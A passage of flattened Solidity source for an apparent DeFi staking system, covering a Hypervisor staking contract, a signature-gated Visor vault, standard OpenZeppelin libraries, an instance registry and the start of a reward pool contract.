recipient /// @param amount uint256 The amount of tokens to rescue function rescueTokensFromRewardPool( address token, address recipient, uint256 amount ) external onlyOwner onlyOnline { // verify recipient _validateAddress(recipient); // check not attempting to unstake reward token require(token != _hypervisor.rewardToken, "Hypervisor: invalid address"); // check not attempting to wthdraw bonus token require(!_bonusTokenSet.contains(token), "Hypervisor: invalid address"); // transfer tokens to recipient IRewardPool(_hypervisor.rewardPool).sendERC20(token, recipient, amount); } /* user functions */ /// @notice Stake tokens /// @dev anyone can stake to any vault if they have valid permission /// access control: anyone /// state machine: /// - can be called multiple times /// - only online /// - when vault exists on this Hypervisor /// state scope: /// - append to _vaults[vault].stakes /// - increase _vaults[vault].totalStake /// - increase _hypervisor.totalStake /// - increase _hypervisor.totalStakeUnits /// - increase _hypervisor.lastUpdate /// token transfer: transfer staking tokens from msg.sender to vault /// @param vault address The address of the vault to stake from /// @param amount uint256 The amount of staking tokens to stake function stake( address vault, uint256 amount, bytes calldata permission ) external override onlyOnline { // verify vault is valid require(isValidVault(vault), "Hypervisor: vault is not registered"); // verify non-zero amount require(amount != 0, "Hypervisor: no amount staked"); // fetch vault storage reference VaultData storage vaultData = _vaults[vault]; // verify stakes boundary not reached require( vaultData.stakes.length < MAX_STAKES_PER_VAULT, "Hypervisor: MAX_STAKES_PER_VAULT reached" ); // update cached sum of stake units across all vaults _updateTotalStakeUnits(); // store amount and timestamp vaultData.stakes.push(StakeData(amount, block.timestamp)); // update cached total vault and Hypervisor amounts vaultData.totalStake = vaultData.totalStake.add(amount); // verify stake quantity without bounds require( stakeLimit == 0 || vaultData.totalStake <= stakeLimit, "Hypervisor: Stake limit exceeded" ); _hypervisor.totalStake = _hypervisor.totalStake.add(amount); // call lock on vault IUniversalVault(vault).lock(_hypervisor.stakingToken, amount, permission); // emit event emit Staked(vault, amount); } /// @notice Unstake staking tokens and claim reward /// @dev rewards can only be claimed when unstaking /// access control: only owner of vault /// state machine: /// - when vault exists on this Hypervisor /// - after stake from vault /// - can be called multiple times while sufficient stake remains /// - only online /// state scope: /// - decrease _hypervisor.rewardSharesOutstanding /// - decrease _hypervisor.totalStake /// - increase _hypervisor.lastUpdate /// - modify _hypervisor.totalStakeUnits /// - modify _vaults[vault].stakes /// - decrease _vaults[vault].totalStake /// token transfer: /// - transfer reward tokens from reward pool to recipient /// - transfer bonus tokens from reward pool to recipient /// @param vault address The vault to unstake from /// @param amount uint256 The amount of staking tokens to unstake function unstakeAndClaim( address vault, uint256 amount, bytes calldata permission ) external override onlyOnline { // fetch vault storage reference VaultData storage vaultData = _vaults[vault]; // verify non-zero amount require(amount != 0, "Hypervisor: no amount unstaked"); address recipient = IUniversalVault(vault).owner(); // validate recipient _validateAddress(recipient); // check for sufficient vault stake amount require(vaultData.totalStake >= amount, "Hypervisor: insufficient vault stake"); // check for sufficient Hypervisor stake amount // if this check fails, there is a bug in stake accounting assert(_hypervisor.totalStake >= amount); // update cached sum of stake units across all vaults _updateTotalStakeUnits(); // get reward amount remaining uint256 remainingRewards = IERC20(_hypervisor.rewardToken).balanceOf(_hypervisor.rewardPool); // calculate vested portion of reward pool uint256 unlockedRewards = calculateUnlockedRewards( _hypervisor.rewardSchedules, remainingRewards, _hypervisor.rewardSharesOutstanding, block.timestamp ); // calculate vault time weighted reward with scaling RewardOutput memory out = calculateRewardFromStakes( vaultData.stakes, amount, unlockedRewards, _hypervisor.totalStakeUnits, block.timestamp, _hypervisor.rewardScaling ); // update stake data in storage if (out.newStakesCount == 0) { // all stakes have been unstaked delete vaultData.stakes; } else { // some stakes have been completely or partially unstaked // delete fully unstaked stakes while (vaultData.stakes.length > out.newStakesCount) vaultData.stakes.pop(); // update partially unstaked stake vaultData.stakes[out.newStakesCount.sub(1)].amount = out.lastStakeAmount; } // update cached stake totals vaultData.totalStake = vaultData.totalStake.sub(amount); _hypervisor.totalStake = _hypervisor.totalStake.sub(amount); _hypervisor.totalStakeUnits = out.newTotalStakeUnits; // unlock staking tokens from vault IUniversalVault(vault).unlock(_hypervisor.stakingToken, amount, permission); // emit event emit Unstaked(vault, amount); // only perform on non-zero reward if (out.reward > 0) { // calculate shares to burn // sharesToBurn = sharesOutstanding * reward / remainingRewards uint256 sharesToBurn = _hypervisor.rewardSharesOutstanding.mul(out.reward).div(remainingRewards); // burn claimed shares _hypervisor.rewardSharesOutstanding = _hypervisor.rewardSharesOutstanding.sub(sharesToBurn); // transfer bonus tokens from reward pool to recipient if (_bonusTokenSet.length() > 0) { for (uint256 index = 0; index < _bonusTokenSet.length(); index++) { // fetch bonus token address reference address bonusToken = _bonusTokenSet.at(index); // calculate bonus token amount // bonusAmount = bonusRemaining * reward / remainingRewards uint256 bonusAmount = IERC20(bonusToken).balanceOf(_hypervisor.rewardPool).mul(out.reward).div( remainingRewards ); // transfer bonus token IRewardPool(_hypervisor.rewardPool).sendERC20(bonusToken, recipient, bonusAmount); // emit event emit RewardClaimed(vault, recipient, bonusToken, bonusAmount); } } // transfer reward tokens from reward pool to recipient IRewardPool(_hypervisor.rewardPool).sendERC20(_hypervisor.rewardToken, recipient, out.reward); // emit event emit RewardClaimed(vault, recipient, _hypervisor.rewardToken, out.reward); } } /// @notice Exit Hypervisor without claiming reward /// @dev This function should never revert when correctly called by the vault. /// A max number of stakes per vault is set with MAX_STAKES_PER_VAULT to /// place an upper bound on the for loop in calculateTotalStakeUnits(). /// access control: only callable by the vault directly /// state machine: /// - when vault exists on this Hypervisor /// - when active stake from this vault /// - any power state /// state scope: /// - decrease _hypervisor.totalStake /// - increase _hypervisor.lastUpdate /// - modify _hypervisor.totalStakeUnits /// - delete _vaults[vault] /// token transfer: none function rageQuit() external override { // fetch vault storage reference VaultData storage _vaultData = _vaults[msg.sender]; // revert if no active stakes require(_vaultData.stakes.length != 0, "Hypervisor: no stake"); // update cached sum of stake units across all vaults _updateTotalStakeUnits(); // emit event emit Unstaked(msg.sender, _vaultData.totalStake); // update cached totals _hypervisor.totalStake = _hypervisor.totalStake.sub(_vaultData.totalStake); _hypervisor.totalStakeUnits = _hypervisor.totalStakeUnits.sub( calculateTotalStakeUnits(_vaultData.stakes, block.timestamp) ); // delete stake data delete _vaults[msg.sender]; } /* convenience functions */ function _updateTotalStakeUnits() private { // update cached totalStakeUnits _hypervisor.totalStakeUnits = getCurrentTotalStakeUnits(); // update cached lastUpdate _hypervisor.lastUpdate = block.timestamp; } function _validateAddress(address target) private view { // sanity check target for potential input errors require(isValidAddress(target), "Hypervisor: invalid address"); } function _truncateStakesArray(StakeData[] memory array, uint256 newLength) private pure returns (StakeData[] memory newArray) { newArray = new StakeData[](newLength); for (uint256 index = 0; index < newLength; index++) { newArray[index] = array[index]; } return newArray; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {Initializable} from "@openzeppelin/contracts/proxy/Initializable.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {EIP712} from "./EIP712.sol"; import {ERC1271} from "./ERC1271.sol"; import {OwnableERC721} from "./OwnableERC721.sol"; import {IRageQuit} from "../hypervisor/Hypervisor.sol"; interface IUniversalVault { /* user events */ event Locked(address delegate, address token, uint256 amount); event Unlocked(address delegate, address token, uint256 amount); event RageQuit(address delegate, address token, bool notified, string reason); /* data types */ struct LockData { address delegate; address token; uint256 balance; } /* initialize function */ function initialize() external; /* user functions */ function lock( address token, uint256 amount, bytes calldata permission ) external; function unlock( address token, uint256 amount, bytes calldata permission ) external; function rageQuit(address delegate, address token) external returns (bool notified, string memory error); function transferERC20( address token, address to, uint256 amount ) external; function transferETH(address to, uint256 amount) external payable; /* pure functions */ function calculateLockID(address delegate, address token) external pure returns (bytes32 lockID); /* getter functions */ function getPermissionHash( bytes32 eip712TypeHash, address delegate, address token, uint256 amount, uint256 nonce ) external view returns (bytes32 permissionHash); function getNonce() external view returns (uint256 nonce); function owner() external view returns (address ownerAddress); function getLockSetCount() external view returns (uint256 count); function getLockAt(uint256 index) external view returns (LockData memory lockData); function getBalanceDelegated(address token, address delegate) external view returns (uint256 balance); function getBalanceLocked(address token) external view returns (uint256 balance); function checkBalances() external view returns (bool validity); } /// @title Visor /// @notice Vault for isolated storage of staking tokens /// @dev Warning: not compatible with rebasing tokens contract Visor is IUniversalVault, EIP712("UniversalVault", "1.0.0"), ERC1271, OwnableERC721, Initializable { using SafeMath for uint256; using Address for address; using Address for address payable; using EnumerableSet for EnumerableSet.Bytes32Set; /* constant */ // Hardcoding a gas limit for rageQuit() is required to prevent gas DOS attacks // the gas requirement cannot be determined at runtime by querying the delegate // as it could potentially be manipulated by a malicious delegate who could force // the calls to revert. // The gas limit could alternatively be set upon vault initialization or creation // of a lock, but the gas consumption trade-offs are not favorable. // Ultimately, to avoid a need for fixed gas limits, the EVM would need to provide // an error code that allows for reliably catching out-of-gas errors on remote calls. uint256 public constant RAGEQUIT_GAS = 500000; bytes32 public constant LOCK_TYPEHASH = keccak256("Lock(address delegate,address token,uint256 amount,uint256 nonce)"); bytes32 public constant UNLOCK_TYPEHASH = keccak256("Unlock(address delegate,address token,uint256 amount,uint256 nonce)"); string public constant VERSION = "VISOR-1.0.0"; /* storage */ uint256 private _nonce; mapping(bytes32 => LockData) private _locks; EnumerableSet.Bytes32Set private _lockSet; /* initialization function */ function initializeLock() external initializer {} function initialize() external override initializer { OwnableERC721._setNFT(msg.sender); } /* ether receive */ receive() external payable {} /* internal overrides */ function _getOwner() internal view override(ERC1271) returns (address ownerAddress) { return OwnableERC721.owner(); } /* pure functions */ function calculateLockID(address delegate, address token) public pure override returns (bytes32 lockID) { return keccak256(abi.encodePacked(delegate, token)); } /* getter functions */ function getPermissionHash( bytes32 eip712TypeHash, address delegate, address token, uint256 amount, uint256 nonce ) public view override returns (bytes32 permissionHash) { return EIP712._hashTypedDataV4( keccak256(abi.encode(eip712TypeHash, delegate, token, amount, nonce)) ); } function getNonce() external view override returns (uint256 nonce) { return _nonce; } function owner() public view override(IUniversalVault, OwnableERC721) returns (address ownerAddress) { return OwnableERC721.owner(); } function getLockSetCount() external view override returns (uint256 count) { return _lockSet.length(); } function getLockAt(uint256 index) external view override returns (LockData memory lockData) { return _locks[_lockSet.at(index)]; } function getBalanceDelegated(address token, address delegate) external view override returns (uint256 balance) { return _locks[calculateLockID(delegate, token)].balance; } function getBalanceLocked(address token) public view override returns (uint256 balance) { uint256 count = _lockSet.length(); for (uint256 index; index < count; index++) { LockData storage _lockData = _locks[_lockSet.at(index)]; if (_lockData.token == token && _lockData.balance > balance) balance = _lockData.balance; } return balance; } function checkBalances() external view override returns (bool validity) { // iterate over all token locks and validate sufficient balance uint256 count = _lockSet.length(); for (uint256 index; index < count; index++) { // fetch storage lock reference LockData storage _lockData = _locks[_lockSet.at(index)]; // if insufficient balance and no∏t shutdown, return false if (IERC20(_lockData.token).balanceOf(address(this)) < _lockData.balance) return false; } // if sufficient balance or shutdown, return true return true; } /* user functions */ /// @notice Lock ERC20 tokens in the vault /// access control: called by delegate with signed permission from owner /// state machine: anytime /// state scope: /// - insert or update _locks /// - increase _nonce /// token transfer: none /// @param token Address of token being locked /// @param amount Amount of tokens being locked /// @param permission Permission signature payload function lock( address token, uint256 amount, bytes calldata permission ) external override onlyValidSignature( getPermissionHash(LOCK_TYPEHASH, msg.sender, token, amount, _nonce), permission ) { // get lock id bytes32 lockID = calculateLockID(msg.sender, token); // add lock to storage if (_lockSet.contains(lockID)) { // if lock already exists, increase amount _locks[lockID].balance = _locks[lockID].balance.add(amount); } else { // if does not exist, create new lock // add lock to set assert(_lockSet.add(lockID)); // add lock data to storage _locks[lockID] = LockData(msg.sender, token, amount); } // validate sufficient balance require( IERC20(token).balanceOf(address(this)) >= _locks[lockID].balance, "UniversalVault: insufficient balance" ); // increase nonce _nonce += 1; // emit event emit Locked(msg.sender, token, amount); } /// @notice Unlock ERC20 tokens in the vault /// access control: called by delegate with signed permission from owner /// state machine: after valid lock from delegate /// state scope: /// - remove or update _locks /// - increase _nonce /// token transfer: none /// @param token Address of token being unlocked /// @param amount Amount of tokens being unlocked /// @param permission Permission signature payload function unlock( address token, uint256 amount, bytes calldata permission ) external override onlyValidSignature( getPermissionHash(UNLOCK_TYPEHASH, msg.sender, token, amount, _nonce), permission ) { // get lock id bytes32 lockID = calculateLockID(msg.sender, token); // validate existing lock require(_lockSet.contains(lockID), "UniversalVault: missing lock"); // update lock data if (_locks[lockID].balance > amount) { // substract amount from lock balance _locks[lockID].balance = _locks[lockID].balance.sub(amount); } else { // delete lock data delete _locks[lockID]; assert(_lockSet.remove(lockID)); } // increase nonce _nonce += 1; // emit event emit Unlocked(msg.sender, token, amount); } /// @notice Forcibly cancel delegate lock /// @dev This function will attempt to notify the delegate of the rage quit using /// a fixed amount of gas. /// access control: only owner /// state machine: after valid lock from delegate /// state scope: /// - remove item from _locks /// token transfer: none /// @param delegate Address of delegate /// @param token Address of token being unlocked function rageQuit(address delegate, address token) external override onlyOwner returns (bool notified, string memory error) { // get lock id bytes32 lockID = calculateLockID(delegate, token); // validate existing lock require(_lockSet.contains(lockID), "UniversalVault: missing lock"); // attempt to notify delegate if (delegate.isContract()) { // check for sufficient gas require(gasleft() >= RAGEQUIT_GAS, "UniversalVault: insufficient gas"); // attempt rageQuit notification try IRageQuit(delegate).rageQuit{gas: RAGEQUIT_GAS}() { notified = true; } catch Error(string memory res) { notified = false; error = res; } catch (bytes memory) { notified = false; } } // update lock storage assert(_lockSet.remove(lockID)); delete _locks[lockID]; // emit event emit RageQuit(delegate, token, notified, error); } /// @notice Transfer ERC20 tokens out of vault /// access control: only owner /// state machine: when balance >= max(lock) + amount /// state scope: none /// token transfer: transfer any token /// @param token Address of token being transferred /// @param to Address of the recipient /// @param amount Amount of tokens to transfer function transferERC20( address token, address to, uint256 amount ) external override onlyOwner { // check for sufficient balance require( IERC20(token).balanceOf(address(this)) >= getBalanceLocked(token).add(amount), "UniversalVault: insufficient balance" ); // perform transfer TransferHelper.safeTransfer(token, to, amount); } /// @notice Transfer ERC20 tokens out of vault /// access control: only owner /// state machine: when balance >= amount /// state scope: none /// token transfer: transfer any token /// @param to Address of the recipient /// @param amount Amount of ETH to transfer function transferETH(address to, uint256 amount) external payable override onlyOwner { // perform transfer TransferHelper.safeTransferETH(to, amount); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; interface IFactory { function create(bytes calldata args) external returns (address instance); function create2(bytes calldata args, bytes32 salt) external returns (address instance); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; interface IInstanceRegistry { /* events */ event InstanceAdded(address instance); event InstanceRemoved(address instance); /* view functions */ function isInstance(address instance) external view returns (bool validity); function instanceCount() external view returns (uint256 count); function instanceAt(uint256 index) external view returns (address instance); } /// @title InstanceRegistry contract InstanceRegistry is IInstanceRegistry { using EnumerableSet for EnumerableSet.AddressSet; /* storage */ EnumerableSet.AddressSet private _instanceSet; /* view functions */ function isInstance(address instance) external view override returns (bool validity) { return _instanceSet.contains(instance); } function instanceCount() external view override returns (uint256 count) { return _instanceSet.length(); } function instanceAt(uint256 index) external view override returns (address instance) { return _instanceSet.at(index); } /* admin functions */ function _register(address instance) internal { require(_instanceSet.add(instance), "InstanceRegistry: already registered"); emit InstanceAdded(instance); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {Powered} from "./Powered.sol"; interface IRewardPool { function sendERC20( address token, address to, uint256 value ) external; function rescueERC20(address[] calldata tokens, address recipient) external; } /// @title Reward Pool /// @notice Vault for isolated storage of reward tokens contract RewardPool is IRewardPool, Powered, Ownable { /* initializer */ constructor(address powerSwitch) { Powered._setPowerSwitch(powerSwitch); } /* user functions */ /// @notice Send an ERC20 token /// access control: only owner /// state machine: /// - can be called multiple times /// - only online /// state scope: none /// token transfer: transfer tokens from self to recipient /// @param token address The token to send /// @param to address The recipient to send to /// @param value uint256 Amount of tokens to send function sendERC20( address token, address to, uint256 value ) external override onlyOwner onlyOnline { TransferHelper.safeTransfer(token, to, value); } /* emergency functions */ /// @notice Rescue multiple ERC20 tokens /// access control: only power controller /// state machine: /// - can be called multiple times /// - only shutdown /// state scope: none /// token transfer: transfer tokens from self to recipient /// @param tokens address[] The tokens to rescue /// @param recipient address The recipient to rescue to function rescueERC20(address[] calldata tokens, address recipient) external override onlyShutdown { // only callable by controller 